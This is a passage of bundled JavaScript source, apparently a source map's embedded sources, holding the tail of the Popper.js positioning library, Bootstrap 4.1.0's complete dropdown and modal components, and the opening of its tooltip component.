? reference[0] : reference;\n this.popper = popper && popper.jquery ? popper[0] : popper;\n\n // Deep merge modifiers options\n this.options.modifiers = {};\n Object.keys(_extends({}, Popper.Defaults.modifiers, options.modifiers)).forEach(function (name) {\n _this.options.modifiers[name] = _extends({}, Popper.Defaults.modifiers[name] || {}, options.modifiers ? options.modifiers[name] : {});\n });\n\n // Refactoring modifiers' list (Object => Array)\n this.modifiers = Object.keys(this.options.modifiers).map(function (name) {\n return _extends({\n name: name\n }, _this.options.modifiers[name]);\n })\n // sort the modifiers by order\n .sort(function (a, b) {\n return a.order - b.order;\n });\n\n // modifiers have the ability to execute arbitrary code when Popper.js get inited\n // such code is executed in the same order of its modifier\n // they could add new properties to their options configuration\n // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!\n this.modifiers.forEach(function (modifierOptions) {\n if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {\n modifierOptions.onLoad(_this.reference, _this.popper, _this.options, modifierOptions, _this.state);\n }\n });\n\n // fire the first update to position the popper in the right place\n this.update();\n\n var eventsEnabled = this.options.eventsEnabled;\n if (eventsEnabled) {\n // setup event listeners, they will take care of update the position in specific situations\n this.enableEventListeners();\n }\n\n this.state.eventsEnabled = eventsEnabled;\n }\n\n // We can't use class properties because they don't get listed in the\n // class prototype and break stuff like Sinon stubs\n\n\n createClass(Popper, [{\n key: 'update',\n value: function update$$1() {\n return update.call(this);\n }\n }, {\n key: 'destroy',\n value: function destroy$$1() {\n return destroy.call(this);\n }\n }, {\n key: 'enableEventListeners',\n value: function enableEventListeners$$1() {\n return enableEventListeners.call(this);\n }\n }, {\n key: 'disableEventListeners',\n value: function disableEventListeners$$1() {\n return disableEventListeners.call(this);\n }\n\n /**\n * Schedule an update, it will run on the next UI update available\n * @method scheduleUpdate\n * @memberof Popper\n */\n\n\n /**\n * Collection of utilities useful when writing custom modifiers.\n * Starting from version 1.7, this method is available only if you\n * include `popper-utils.js` before `popper.js`.\n *\n * **DEPRECATION**: This way to access PopperUtils is deprecated\n * and will be removed in v2! Use the PopperUtils module directly instead.\n * Due to the high instability of the methods contained in Utils, we can't\n * guarantee them to follow semver. Use them at your own risk!\n * @static\n * @private\n * @type {Object}\n * @deprecated since version 1.8\n * @member Utils\n * @memberof Popper\n */\n\n }]);\n return Popper;\n}();\n\n/**\n * The `referenceObject` is an object that provides an interface compatible with Popper.js\n * and lets you use it as replacement of a real DOM node.<br />\n * You can use this method to position a popper relatively to a set of coordinates\n * in case you don't have a DOM node to use as reference.\n *\n * ```\n * new Popper(referenceObject, popperNode);\n * ```\n *\n * NB: This feature isn't supported in Internet Explorer 10\n * @name referenceObject\n * @property {Function} data.getBoundingClientRect\n * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.\n * @property {number} data.clientWidth\n * An ES6 getter that will return the width of the virtual reference element.\n * @property {number} data.clientHeight\n * An ES6 getter that will return the height of the virtual reference element.\n */\n\n\nPopper.Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;\nPopper.placements = placements;\nPopper.Defaults = Defaults;\n\nexport default Popper;\n//# sourceMappingURL=popper.js.map\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): dropdown.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Dropdown = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'dropdown'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.dropdown'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const ESCAPE_KEYCODE = 27 // KeyboardEvent.which value for Escape (Esc) key\n const SPACE_KEYCODE = 32 // KeyboardEvent.which value for space key\n const TAB_KEYCODE = 9 // KeyboardEvent.which value for tab key\n const ARROW_UP_KEYCODE = 38 // KeyboardEvent.which value for up arrow key\n const ARROW_DOWN_KEYCODE = 40 // KeyboardEvent.which value for down arrow key\n const RIGHT_MOUSE_BUTTON_WHICH = 3 // MouseEvent.which value for the right button (assuming a right-handed mouse)\n const REGEXP_KEYDOWN = new RegExp(`${ARROW_UP_KEYCODE}|${ARROW_DOWN_KEYCODE}|${ESCAPE_KEYCODE}`)\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n CLICK : `click${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`,\n KEYDOWN_DATA_API : `keydown${EVENT_KEY}${DATA_API_KEY}`,\n KEYUP_DATA_API : `keyup${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n DISABLED : 'disabled',\n SHOW : 'show',\n DROPUP : 'dropup',\n DROPRIGHT : 'dropright',\n DROPLEFT : 'dropleft',\n MENURIGHT : 'dropdown-menu-right',\n MENULEFT : 'dropdown-menu-left',\n POSITION_STATIC : 'position-static'\n }\n\n const Selector = {\n DATA_TOGGLE : '[data-toggle=\"dropdown\"]',\n FORM_CHILD : '.dropdown form',\n MENU : '.dropdown-menu',\n NAVBAR_NAV : '.navbar-nav',\n VISIBLE_ITEMS : '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)'\n }\n\n const AttachmentMap = {\n TOP : 'top-start',\n TOPEND : 'top-end',\n BOTTOM : 'bottom-start',\n BOTTOMEND : 'bottom-end',\n RIGHT : 'right-start',\n RIGHTEND : 'right-end',\n LEFT : 'left-start',\n LEFTEND : 'left-end'\n }\n\n const Default = {\n offset : 0,\n flip : true,\n boundary : 'scrollParent',\n reference : 'toggle',\n display : 'dynamic'\n }\n\n const DefaultType = {\n offset : '(number|string|function)',\n flip : 'boolean',\n boundary : '(string|element)',\n reference : '(string|element)',\n display : 'string'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Dropdown {\n constructor(element, config) {\n this._element = element\n this._popper = null\n this._config = this._getConfig(config)\n this._menu = this._getMenuElement()\n this._inNavbar = this._detectNavbar()\n\n this._addEventListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Public\n\n toggle() {\n if (this._element.disabled || $(this._element).hasClass(ClassName.DISABLED)) {\n return\n }\n\n const parent = Dropdown._getParentFromElement(this._element)\n const isActive = $(this._menu).hasClass(ClassName.SHOW)\n\n Dropdown._clearMenus()\n\n if (isActive) {\n return\n }\n\n const relatedTarget = {\n relatedTarget: this._element\n }\n const showEvent = $.Event(Event.SHOW, relatedTarget)\n\n $(parent).trigger(showEvent)\n\n if (showEvent.isDefaultPrevented()) {\n return\n }\n\n // Disable totally Popper.js for Dropdown in Navbar\n if (!this._inNavbar) {\n /**\n * Check for Popper dependency\n * Popper - https://popper.js.org\n */\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap dropdown require Popper.js (https://popper.js.org)')\n }\n\n let referenceElement = this._element\n\n if (this._config.reference === 'parent') {\n referenceElement = parent\n } else if (Util.isElement(this._config.reference)) {\n referenceElement = this._config.reference\n\n // Check if it's jQuery element\n if (typeof this._config.reference.jquery !== 'undefined') {\n referenceElement = this._config.reference[0]\n }\n }\n\n // If boundary is not `scrollParent`, then set position to `static`\n // to allow the menu to \"escape\" the scroll parent's boundaries\n // https://github.com/twbs/bootstrap/issues/24251\n if (this._config.boundary !== 'scrollParent') {\n $(parent).addClass(ClassName.POSITION_STATIC)\n }\n this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig())\n }\n\n // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n if ('ontouchstart' in document.documentElement &&\n $(parent).closest(Selector.NAVBAR_NAV).length === 0) {\n $(document.body).children().on('mouseover', null, $.noop)\n }\n\n this._element.focus()\n this._element.setAttribute('aria-expanded', true)\n\n $(this._menu).toggleClass(ClassName.SHOW)\n $(parent)\n .toggleClass(ClassName.SHOW)\n .trigger($.Event(Event.SHOWN, relatedTarget))\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n $(this._element).off(EVENT_KEY)\n this._element = null\n this._menu = null\n if (this._popper !== null) {\n this._popper.destroy()\n this._popper = null\n }\n }\n\n update() {\n this._inNavbar = this._detectNavbar()\n if (this._popper !== null) {\n this._popper.scheduleUpdate()\n }\n }\n\n // Private\n\n _addEventListeners() {\n $(this._element).on(Event.CLICK, (event) => {\n event.preventDefault()\n event.stopPropagation()\n this.toggle()\n })\n }\n\n _getConfig(config) {\n config = {\n ...this.constructor.Default,\n ...$(this._element).data(),\n ...config\n }\n\n Util.typeCheckConfig(\n NAME,\n config,\n this.constructor.DefaultType\n )\n\n return config\n }\n\n _getMenuElement() {\n if (!this._menu) {\n const parent = Dropdown._getParentFromElement(this._element)\n this._menu = $(parent).find(Selector.MENU)[0]\n }\n return this._menu\n }\n\n _getPlacement() {\n const $parentDropdown = $(this._element).parent()\n let placement = AttachmentMap.BOTTOM\n\n // Handle dropup\n if ($parentDropdown.hasClass(ClassName.DROPUP)) {\n placement = AttachmentMap.TOP\n if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n placement = AttachmentMap.TOPEND\n }\n } else if ($parentDropdown.hasClass(ClassName.DROPRIGHT)) {\n placement = AttachmentMap.RIGHT\n } else if ($parentDropdown.hasClass(ClassName.DROPLEFT)) {\n placement = AttachmentMap.LEFT\n } else if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n placement = AttachmentMap.BOTTOMEND\n }\n return placement\n }\n\n _detectNavbar() {\n return $(this._element).closest('.navbar').length > 0\n }\n\n _getPopperConfig() {\n const offsetConf = {}\n if (typeof this._config.offset === 'function') {\n offsetConf.fn = (data) => {\n data.offsets = {\n ...data.offsets,\n ...this._config.offset(data.offsets) || {}\n }\n return data\n }\n } else {\n offsetConf.offset = this._config.offset\n }\n const popperConfig = {\n placement: this._getPlacement(),\n modifiers: {\n offset: offsetConf,\n flip: {\n enabled: this._config.flip\n },\n preventOverflow: {\n boundariesElement: this._config.boundary\n }\n }\n }\n\n // Disable Popper.js if we have a static display\n if (this._config.display === 'static') {\n popperConfig.modifiers.applyStyle = {\n enabled: false\n }\n }\n return popperConfig\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' ? config : null\n\n if (!data) {\n data = new Dropdown(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n\n static _clearMenus(event) {\n if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH ||\n event.type === 'keyup' && event.which !== TAB_KEYCODE)) {\n return\n }\n\n const toggles = $.makeArray($(Selector.DATA_TOGGLE))\n for (let i = 0; i < toggles.length; i++) {\n const parent = Dropdown._getParentFromElement(toggles[i])\n const context = $(toggles[i]).data(DATA_KEY)\n const relatedTarget = {\n relatedTarget: toggles[i]\n }\n\n if (!context) {\n continue\n }\n\n const dropdownMenu = context._menu\n if (!$(parent).hasClass(ClassName.SHOW)) {\n continue\n }\n\n if (event && (event.type === 'click' &&\n /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) &&\n $.contains(parent, event.target)) {\n continue\n }\n\n const hideEvent = $.Event(Event.HIDE, relatedTarget)\n $(parent).trigger(hideEvent)\n if (hideEvent.isDefaultPrevented()) {\n continue\n }\n\n // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().off('mouseover', null, $.noop)\n }\n\n toggles[i].setAttribute('aria-expanded', 'false')\n\n $(dropdownMenu).removeClass(ClassName.SHOW)\n $(parent)\n .removeClass(ClassName.SHOW)\n .trigger($.Event(Event.HIDDEN, relatedTarget))\n }\n }\n\n static _getParentFromElement(element) {\n let parent\n const selector = Util.getSelectorFromElement(element)\n\n if (selector) {\n parent = $(selector)[0]\n }\n\n return parent || element.parentNode\n }\n\n // eslint-disable-next-line complexity\n static _dataApiKeydownHandler(event) {\n // If not input/textarea:\n // - And not a key in REGEXP_KEYDOWN => not a dropdown command\n // If input/textarea:\n // - If space key => not a dropdown command\n // - If key is other than escape\n // - If key is not up or down => not a dropdown command\n // - If trigger inside the menu => not a dropdown command\n if (/input|textarea/i.test(event.target.tagName)\n ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE &&\n (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE ||\n $(event.target).closest(Selector.MENU).length) : !REGEXP_KEYDOWN.test(event.which)) {\n return\n }\n\n event.preventDefault()\n event.stopPropagation()\n\n if (this.disabled || $(this).hasClass(ClassName.DISABLED)) {\n return\n }\n\n const parent = Dropdown._getParentFromElement(this)\n const isActive = $(parent).hasClass(ClassName.SHOW)\n\n if (!isActive && (event.which !== ESCAPE_KEYCODE || event.which !== SPACE_KEYCODE) ||\n isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) {\n if (event.which === ESCAPE_KEYCODE) {\n const toggle = $(parent).find(Selector.DATA_TOGGLE)[0]\n $(toggle).trigger('focus')\n }\n\n $(this).trigger('click')\n return\n }\n\n const items = $(parent).find(Selector.VISIBLE_ITEMS).get()\n\n if (items.length === 0) {\n return\n }\n\n let index = items.indexOf(event.target)\n\n if (event.which === ARROW_UP_KEYCODE && index > 0) { // Up\n index--\n }\n\n if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) { // Down\n index++\n }\n\n if (index < 0) {\n index = 0\n }\n\n items[index].focus()\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.KEYDOWN_DATA_API, Selector.DATA_TOGGLE, Dropdown._dataApiKeydownHandler)\n .on(Event.KEYDOWN_DATA_API, Selector.MENU, Dropdown._dataApiKeydownHandler)\n .on(`${Event.CLICK_DATA_API} ${Event.KEYUP_DATA_API}`, Dropdown._clearMenus)\n .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n event.preventDefault()\n event.stopPropagation()\n Dropdown._jQueryInterface.call($(this), 'toggle')\n })\n .on(Event.CLICK_DATA_API, Selector.FORM_CHILD, (e) => {\n e.stopPropagation()\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Dropdown._jQueryInterface\n $.fn[NAME].Constructor = Dropdown\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Dropdown._jQueryInterface\n }\n\n return Dropdown\n})($, Popper)\n\nexport default Dropdown\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): modal.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Modal = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'modal'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.modal'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const ESCAPE_KEYCODE = 27 // KeyboardEvent.which value for Escape (Esc) key\n\n const Default = {\n backdrop : true,\n keyboard : true,\n focus : true,\n show : true\n }\n\n const DefaultType = {\n backdrop : '(boolean|string)',\n keyboard : 'boolean',\n focus : 'boolean',\n show : 'boolean'\n }\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n FOCUSIN : `focusin${EVENT_KEY}`,\n RESIZE : `resize${EVENT_KEY}`,\n CLICK_DISMISS : `click.dismiss${EVENT_KEY}`,\n KEYDOWN_DISMISS : `keydown.dismiss${EVENT_KEY}`,\n MOUSEUP_DISMISS : `mouseup.dismiss${EVENT_KEY}`,\n MOUSEDOWN_DISMISS : `mousedown.dismiss${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n SCROLLBAR_MEASURER : 'modal-scrollbar-measure',\n BACKDROP : 'modal-backdrop',\n OPEN : 'modal-open',\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n DIALOG : '.modal-dialog',\n DATA_TOGGLE : '[data-toggle=\"modal\"]',\n DATA_DISMISS : '[data-dismiss=\"modal\"]',\n FIXED_CONTENT : '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top',\n STICKY_CONTENT : '.sticky-top',\n NAVBAR_TOGGLER : '.navbar-toggler'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Modal {\n constructor(element, config) {\n this._config = this._getConfig(config)\n this._element = element\n this._dialog = $(element).find(Selector.DIALOG)[0]\n this._backdrop = null\n this._isShown = false\n this._isBodyOverflowing = false\n this._ignoreBackdropClick = false\n this._scrollbarWidth = 0\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n toggle(relatedTarget) {\n return this._isShown ? this.hide() : this.show(relatedTarget)\n }\n\n show(relatedTarget) {\n if (this._isTransitioning || this._isShown) {\n return\n }\n\n if ($(this._element).hasClass(ClassName.FADE)) {\n this._isTransitioning = true\n }\n\n const showEvent = $.Event(Event.SHOW, {\n relatedTarget\n })\n\n $(this._element).trigger(showEvent)\n\n if (this._isShown || showEvent.isDefaultPrevented()) {\n return\n }\n\n this._isShown = true\n\n this._checkScrollbar()\n this._setScrollbar()\n\n this._adjustDialog()\n\n $(document.body).addClass(ClassName.OPEN)\n\n this._setEscapeEvent()\n this._setResizeEvent()\n\n $(this._element).on(\n Event.CLICK_DISMISS,\n Selector.DATA_DISMISS,\n (event) => this.hide(event)\n )\n\n $(this._dialog).on(Event.MOUSEDOWN_DISMISS, () => {\n $(this._element).one(Event.MOUSEUP_DISMISS, (event) => {\n if ($(event.target).is(this._element)) {\n this._ignoreBackdropClick = true\n }\n })\n })\n\n this._showBackdrop(() => this._showElement(relatedTarget))\n }\n\n hide(event) {\n if (event) {\n event.preventDefault()\n }\n\n if (this._isTransitioning || !this._isShown) {\n return\n }\n\n const hideEvent = $.Event(Event.HIDE)\n\n $(this._element).trigger(hideEvent)\n\n if (!this._isShown || hideEvent.isDefaultPrevented()) {\n return\n }\n\n this._isShown = false\n const transition = $(this._element).hasClass(ClassName.FADE)\n\n if (transition) {\n this._isTransitioning = true\n }\n\n this._setEscapeEvent()\n this._setResizeEvent()\n\n $(document).off(Event.FOCUSIN)\n\n $(this._element).removeClass(ClassName.SHOW)\n\n $(this._element).off(Event.CLICK_DISMISS)\n $(this._dialog).off(Event.MOUSEDOWN_DISMISS)\n\n\n if (transition) {\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, (event) => this._hideModal(event))\n .emulateTransitionEnd(transitionDuration)\n } else {\n this._hideModal()\n }\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n\n $(window, document, this._element, this._backdrop).off(EVENT_KEY)\n\n this._config = null\n this._element = null\n this._dialog = null\n this._backdrop = null\n this._isShown = null\n this._isBodyOverflowing = null\n this._ignoreBackdropClick = null\n this._scrollbarWidth = null\n }\n\n handleUpdate() {\n this._adjustDialog()\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _showElement(relatedTarget) {\n const transition = $(this._element).hasClass(ClassName.FADE)\n\n if (!this._element.parentNode ||\n this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {\n // Don't move modal's DOM position\n document.body.appendChild(this._element)\n }\n\n this._element.style.display = 'block'\n this._element.removeAttribute('aria-hidden')\n this._element.scrollTop = 0\n\n if (transition) {\n Util.reflow(this._element)\n }\n\n $(this._element).addClass(ClassName.SHOW)\n\n if (this._config.focus) {\n this._enforceFocus()\n }\n\n const shownEvent = $.Event(Event.SHOWN, {\n relatedTarget\n })\n\n const transitionComplete = () => {\n if (this._config.focus) {\n this._element.focus()\n }\n this._isTransitioning = false\n $(this._element).trigger(shownEvent)\n }\n\n if (transition) {\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._dialog)\n .one(Util.TRANSITION_END, transitionComplete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n transitionComplete()\n }\n }\n\n _enforceFocus() {\n $(document)\n .off(Event.FOCUSIN) // Guard against infinite focus loop\n .on(Event.FOCUSIN, (event) => {\n if (document !== event.target &&\n this._element !== event.target &&\n $(this._element).has(event.target).length === 0) {\n this._element.focus()\n }\n })\n }\n\n _setEscapeEvent() {\n if (this._isShown && this._config.keyboard) {\n $(this._element).on(Event.KEYDOWN_DISMISS, (event) => {\n if (event.which === ESCAPE_KEYCODE) {\n event.preventDefault()\n this.hide()\n }\n })\n } else if (!this._isShown) {\n $(this._element).off(Event.KEYDOWN_DISMISS)\n }\n }\n\n _setResizeEvent() {\n if (this._isShown) {\n $(window).on(Event.RESIZE, (event) => this.handleUpdate(event))\n } else {\n $(window).off(Event.RESIZE)\n }\n }\n\n _hideModal() {\n this._element.style.display = 'none'\n this._element.setAttribute('aria-hidden', true)\n this._isTransitioning = false\n this._showBackdrop(() => {\n $(document.body).removeClass(ClassName.OPEN)\n this._resetAdjustments()\n this._resetScrollbar()\n $(this._element).trigger(Event.HIDDEN)\n })\n }\n\n _removeBackdrop() {\n if (this._backdrop) {\n $(this._backdrop).remove()\n this._backdrop = null\n }\n }\n\n _showBackdrop(callback) {\n const animate = $(this._element).hasClass(ClassName.FADE)\n ? ClassName.FADE : ''\n\n if (this._isShown && this._config.backdrop) {\n this._backdrop = document.createElement('div')\n this._backdrop.className = ClassName.BACKDROP\n\n if (animate) {\n $(this._backdrop).addClass(animate)\n }\n\n $(this._backdrop).appendTo(document.body)\n\n $(this._element).on(Event.CLICK_DISMISS, (event) => {\n if (this._ignoreBackdropClick) {\n this._ignoreBackdropClick = false\n return\n }\n if (event.target !== event.currentTarget) {\n return\n }\n if (this._config.backdrop === 'static') {\n this._element.focus()\n } else {\n this.hide()\n }\n })\n\n if (animate) {\n Util.reflow(this._backdrop)\n }\n\n $(this._backdrop).addClass(ClassName.SHOW)\n\n if (!callback) {\n return\n }\n\n if (!animate) {\n callback()\n return\n }\n\n const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n $(this._backdrop)\n .one(Util.TRANSITION_END, callback)\n .emulateTransitionEnd(backdropTransitionDuration)\n } else if (!this._isShown && this._backdrop) {\n $(this._backdrop).removeClass(ClassName.SHOW)\n\n const callbackRemove = () => {\n this._removeBackdrop()\n if (callback) {\n callback()\n }\n }\n\n if ($(this._element).hasClass(ClassName.FADE)) {\n const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n $(this._backdrop)\n .one(Util.TRANSITION_END, callbackRemove)\n .emulateTransitionEnd(backdropTransitionDuration)\n } else {\n callbackRemove()\n }\n } else if (callback) {\n callback()\n }\n }\n\n // ----------------------------------------------------------------------\n // the following methods are used to handle overflowing modals\n // todo (fat): these should probably be refactored out of modal.js\n // ----------------------------------------------------------------------\n\n _adjustDialog() {\n const isModalOverflowing =\n this._element.scrollHeight > document.documentElement.clientHeight\n\n if (!this._isBodyOverflowing && isModalOverflowing) {\n this._element.style.paddingLeft = `${this._scrollbarWidth}px`\n }\n\n if (this._isBodyOverflowing && !isModalOverflowing) {\n this._element.style.paddingRight = `${this._scrollbarWidth}px`\n }\n }\n\n _resetAdjustments() {\n this._element.style.paddingLeft = ''\n this._element.style.paddingRight = ''\n }\n\n _checkScrollbar() {\n const rect = document.body.getBoundingClientRect()\n this._isBodyOverflowing = rect.left + rect.right < window.innerWidth\n this._scrollbarWidth = this._getScrollbarWidth()\n }\n\n _setScrollbar() {\n if (this._isBodyOverflowing) {\n // Note: DOMNode.style.paddingRight returns the actual value or '' if not set\n // while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set\n\n // Adjust fixed content padding\n $(Selector.FIXED_CONTENT).each((index, element) => {\n const actualPadding = $(element)[0].style.paddingRight\n const calculatedPadding = $(element).css('padding-right')\n $(element).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n })\n\n // Adjust sticky content margin\n $(Selector.STICKY_CONTENT).each((index, element) => {\n const actualMargin = $(element)[0].style.marginRight\n const calculatedMargin = $(element).css('margin-right')\n $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) - this._scrollbarWidth}px`)\n })\n\n // Adjust navbar-toggler margin\n $(Selector.NAVBAR_TOGGLER).each((index, element) => {\n const actualMargin = $(element)[0].style.marginRight\n const calculatedMargin = $(element).css('margin-right')\n $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) + this._scrollbarWidth}px`)\n })\n\n // Adjust body padding\n const actualPadding = document.body.style.paddingRight\n const calculatedPadding = $(document.body).css('padding-right')\n $(document.body).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n }\n }\n\n _resetScrollbar() {\n // Restore fixed content padding\n $(Selector.FIXED_CONTENT).each((index, element) => {\n const padding = $(element).data('padding-right')\n if (typeof padding !== 'undefined') {\n $(element).css('padding-right', padding).removeData('padding-right')\n }\n })\n\n // Restore sticky content and navbar-toggler margin\n $(`${Selector.STICKY_CONTENT}, ${Selector.NAVBAR_TOGGLER}`).each((index, element) => {\n const margin = $(element).data('margin-right')\n if (typeof margin !== 'undefined') {\n $(element).css('margin-right', margin).removeData('margin-right')\n }\n })\n\n // Restore body padding\n const padding = $(document.body).data('padding-right')\n if (typeof padding !== 'undefined') {\n $(document.body).css('padding-right', padding).removeData('padding-right')\n }\n }\n\n _getScrollbarWidth() { // thx d.walsh\n const scrollDiv = document.createElement('div')\n scrollDiv.className = ClassName.SCROLLBAR_MEASURER\n document.body.appendChild(scrollDiv)\n const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth\n document.body.removeChild(scrollDiv)\n return scrollbarWidth\n }\n\n // Static\n\n static _jQueryInterface(config, relatedTarget) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = {\n ...Modal.Default,\n ...$(this).data(),\n ...typeof config === 'object' && config\n }\n\n if (!data) {\n data = new Modal(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config](relatedTarget)\n } else if (_config.show) {\n data.show(relatedTarget)\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n let target\n const selector = Util.getSelectorFromElement(this)\n\n if (selector) {\n target = $(selector)[0]\n }\n\n const config = $(target).data(DATA_KEY)\n ? 'toggle' : {\n ...$(target).data(),\n ...$(this).data()\n }\n\n if (this.tagName === 'A' || this.tagName === 'AREA') {\n event.preventDefault()\n }\n\n const $target = $(target).one(Event.SHOW, (showEvent) => {\n if (showEvent.isDefaultPrevented()) {\n // Only register focus restorer if modal will actually get shown\n return\n }\n\n $target.one(Event.HIDDEN, () => {\n if ($(this).is(':visible')) {\n this.focus()\n }\n })\n })\n\n Modal._jQueryInterface.call($(target), config, this)\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Modal._jQueryInterface\n $.fn[NAME].Constructor = Modal\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Modal._jQueryInterface\n }\n\n return Modal\n})($)\n\nexport default Modal\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tooltip.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tooltip = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'tooltip'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.tooltip'\n const EVENT_KEY = `.${DATA_KEY}`\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const CLASS_PREFIX = 'bs-tooltip'\n const BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n const DefaultType = {\n animation : 'boolean',\n template : 'string',\n title : '(string|element|function)',\n trigger : 'string',\n delay : '(number|object)',\n html : 'boolean',\n selector : '(string|boolean)',\n placement : '(string|function)',\n offset : '(number|string)',\n container : '(string|element|boolean)',\n fallbackPlacement : '(string|array)',\n boundary : '(string|element)'\n }\n\n const AttachmentMap = {\n AUTO : 'auto',\n TOP : 'top',\n RIGHT 